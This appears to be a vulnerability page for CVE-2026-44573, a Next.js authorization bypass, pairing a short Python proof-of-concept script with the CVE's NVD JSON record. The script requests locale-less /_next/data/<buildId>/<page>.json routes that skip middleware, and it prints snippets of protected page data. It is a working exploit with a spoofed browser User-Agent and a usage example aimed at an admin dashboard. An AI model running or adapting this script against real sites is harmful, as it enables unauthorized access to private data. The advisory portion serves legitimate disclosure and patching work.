CVE-2026-44573

import requests def check_nextjs_vuln(target_url, build_id, page_path): # Construct the vulnerable endpoint without locale prefix # Example: http://target.com/_next/data/12345/protected.json vuln_url = f"{target_url.rstrip('/')}/_next/data/{build_id}/{page_path}.json" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36' } try: response = requests.get(vuln_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Potential Vulnerability Detected!") print(f"[+] URL: {vuln_url}") print(f"[+] Response Length: {len(response.content)} bytes") print(f"[+] Content Snippet: {response.text[:200]}...") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except Exception as e: print(f"[!] Error occurred: {str(e)}") return False # Usage example # target = "http://localhost:3000" # build_id = "BUILD_ID_FROM_SCRIPT" # Found in HTML source <script id="__NEXT_DATA__"> # page = "admin/dashboard" # The page path intended to be protected # check_nextjs_vuln(target, build_id, page)

{"cve": {"id": "CVE-2026-44573", "sourceIdentifier": "[email protected]", "published": "2026-05-13T17:16:22.627", "lastModified": "2026-05-14T12:24:22.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next.js is a React framework for building full-stack web applications. From 12.2.0 to before 15.5.16 and 16.2.5, Applications using the Pages Router with i18n configured and middleware/proxy-based authorization can allow unauthorized access to protected page data through locale-less /_next/data/<buildId>/<page>.json requests. In affected configurations, middleware does not run for the unprefixed data route, allowing an attacker to retrieve SSR JSON for protected pages without passing the intended authorization checks. This vulnerability is fixed in 15.5.16 and 16.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "12.2.0", "versionEndExcluding": "15.5.16", "matchCriteriaId": "31A12CFA-9A52-4285-B5F3-E5FAD69DF477"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.2.5", "matchCriteriaId": "27C5CF7A-7A33-4BE4-B8FD-10BFD813204A"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/security/advisories/GHSA-36qx-fr4f-26g5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}